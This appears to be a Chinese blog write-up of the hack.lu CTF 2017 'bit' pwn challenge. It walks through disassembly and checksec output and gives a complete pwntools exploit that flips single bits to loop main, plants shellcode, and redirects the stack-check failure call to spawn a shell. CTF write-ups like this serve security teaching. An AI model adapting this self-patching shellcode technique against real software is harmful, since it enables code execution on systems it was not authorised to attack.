hacklu ctf 2017 pwn writeup // Swings' Blog 浮生若梦

BEGIN_PAYLOAD20171024

bit

通过静态分析我们得到一些结论

输入的参数以%lx:%u组成，即由16进制数和无符号整型组成，中间以冒号分隔

此外，在静态分析的过程中我们会发现程序调用了mprotect函数，这会意味着,我们将由条件去修改内存的权限（也许是不可执行修改为可执行）

text:00000000004006A7 loc_4006A7:                             ; CODE XREF: main+68↑j
.text:00000000004006A7                 mov     rax, cs:qword_601018
.text:00000000004006AE                 and     rax, 0FFFFFFFFFFFF1000h
.text:00000000004006B4                 mov     edx, 7          ; prot
.text:00000000004006B9                 mov     esi, 1000h      ; len
.text:00000000004006BE                 mov     rdi, rax        ; addr
.text:00000000004006C1                 call    _mprotect

当我们继续往下分析当时候，我们会发现一个算是逻辑漏洞当点，就是，程序会去修改已经存在于指定的地址中的值

.text:00000000004006D7                 mov     rdx, cs:qword_601018
.text:00000000004006DE                 movzx   edx, byte ptr [rdx]
.text:00000000004006E1                 mov     ecx, cs:dword_601020
.text:00000000004006E7                 mov     edi, 1
.text:00000000004006EC                 shl     edi, cl
.text:00000000004006EE                 mov     ecx, edi
.text:00000000004006F0                 xor     edx, ecx
.text:00000000004006F2                 mov     [rax], dl

程序在0x400721会由一个canary 检查，检查程序是否发生栈溢出
通过checksec的检查，我们也会发现他开启了canary，nx，full relr0防护

pwndbg> checksec
[*] '/media/psf/Home/MyCTF/hacklu/pwn/bit/bit'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

那么我们如何去getshell呢？
题目的关键还是在那个指定地址，然后修改一位的地方，其实思路也是很简单，我们去注入shellcode在一个指定的地址，然后不断的去修改指定地址的值，直到修改到shellcode的地址，由于mprotect的作用，我们就可以获取一个shell

exploit 编写

第一步
思路，

.text:0000000000400721                 xor     rsi, fs:28h
.text:000000000040072A                 jz      short locret_400731
.text:000000000040072C                 call    ___stack_chk_fail

我们注意到40072a这个地方有个跳转，我们可以进行去patch，让他不断到跳转到main函数去

io.sendline("0x40072b:4")

第二步
当我们这个时候，我们已经能够成功不断当返回到main函数之后，我们需要在一个地方写入shellcode

我们发现0x400570是个不错到选择，因为这快基本不会被调用到

shellcode = asm(shellcraft.amd64.sh())
start = 0x00400570
for c in shellcode:
    write_value(io, elf, start, c)
    start += 1

紧接着，我们只需要重新修改40072c到shellcdoe地址就可以

new_call="\xe8\x3f\xfe\xff\xff"   # call 0x400570 (shellcode)
start = 0x0040072c
for c in new_call:
    write_value(io, elf, start, c)
    start += 1

最后伪造canary到验证
io.sendline(0x400720:0)

完整exp

from pwn import *

def write_value(io, elf, addr, new):
    # write new bytes at addr address.
    new = int(new.encode('hex'), 16)
    initial = elf.data[addr - 0x400000]
    initial = int(initial.encode('hex'), 16)

    log.info("At {}, replace {} with {}".format(hex(addr), hex(initial), hex(new)))

    for bit in range(0, 8):
        if (initial & (1<<bit)) != (new & (1<<bit)):
            payload = "{}:{}".format(hex(addr), bit)
            io.sendline(payload)

if __name__ == '__main__':
    context.terminal = ['tmux','splitw','-h']
    io = process('./bit')
    #io = remote('flatearth.fluxfingers.net', 1744)
    gdb.attach(io,'''
            break *0x400713
            break *0x40072a
            break *0x400681
            ''')
    elf = ELF('./bit')

    pause()
    # patch jmp to loop on main()
    #   0x0040072a      7405           je 0x400731
    io.sendline("0x40072b:4")
    pause()
    # write shellcode at 0x00400570
    context.arch = "amd64"
    shellcode = asm(shellcraft.amd64.sh())
    raw_input("make shellcode")
    start = 0x00400570
    for c in shellcode:
        write_value(io, elf, start, c)
        start += 1
    raw_input("loop~~~~")

    # patch callq sym.imp.__stack_chk_fail()
    #   0x0040072c      e8bffdffff     callq sym.imp.__stack_chk_fail
    # Instead we want: call 0xfffffe44  (0xfffffe44 = -444 => 0x400570)
    #   root@pwn:/# rasm2 'call 0xfffffe44'
    #   e83ffeffff
    new_call="\xe8\x3f\xfe\xff\xff"
    start = 0x0040072c
    for c in new_call:
        write_value(io, elf, start, c)
        start += 1

    # finally corrupt the cookie!
    #   0x0040071d      488b75f8       movq local_8h, %rsi
    #   0x00400721      644833342528.  xorq %fs:0x28, %rsi
    #   byte:0xf8 value:0 result:0xf9
    # Instead we want:
    #   movq local_7h, %rsi
    io.sendline("0x400720:0")

    # shell!

EOFCHECKSUM_OK

exploit 编写

评论